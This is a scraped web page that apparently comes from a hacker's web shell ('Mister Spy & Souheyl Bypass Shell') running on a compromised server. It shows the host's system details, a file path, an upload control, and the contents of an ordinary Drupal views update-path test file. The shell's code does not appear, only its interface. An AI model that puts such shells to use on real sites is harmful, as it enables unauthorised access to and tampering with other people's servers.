Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html1/web/core/modules/views/tests/src/Functional/Update/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html1/web/core/modules/views/tests/src/Functional/Update/TableDisplayCacheMaxAgeTest.php

<?php

namespace Drupal\Tests\views\Functional\Update;

use Drupal\FunctionalTests\Update\UpdatePathTestBase;
use Drupal\views\Entity\View;

/**
 * Tests the upgrade path for cache max age with table displays.
 *
 * @see views_post_update_table_display_cache_max_age()
 *
 * @group Update
 * @group legacy
 */
class TableDisplayCacheMaxAgeTest extends UpdatePathTestBase {

  /**
   * {@inheritdoc}
   */
  protected function setDatabaseDumpFiles() {
    $this->databaseDumpFiles = [
      __DIR__ . '/../../../../../system/tests/fixtures/update/drupal-8.bare.standard.php.gz',
      __DIR__ . '/../../../fixtures/update/table-cache-max-age.php',
    ];
  }

  /**
   * Tests the upgrade path for cache max age with table displays.
   */
  public function testViewsPostUpdateTableDisplayMaxCacheAge() {
    $view = View::load('test_table_max_age');
    $data = $view->toArray();
    $this->assertSame(0, $data['display']['default']['cache_metadata']['max-age']);

    $this->runUpdates();

    // Load and initialize our test view.
    $view = View::load('test_table_max_age');
    $data = $view->toArray();
    // Check that the field is using the expected max age value.
    $this->assertSame(-1, $data['display']['default']['cache_metadata']['max-age']);
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net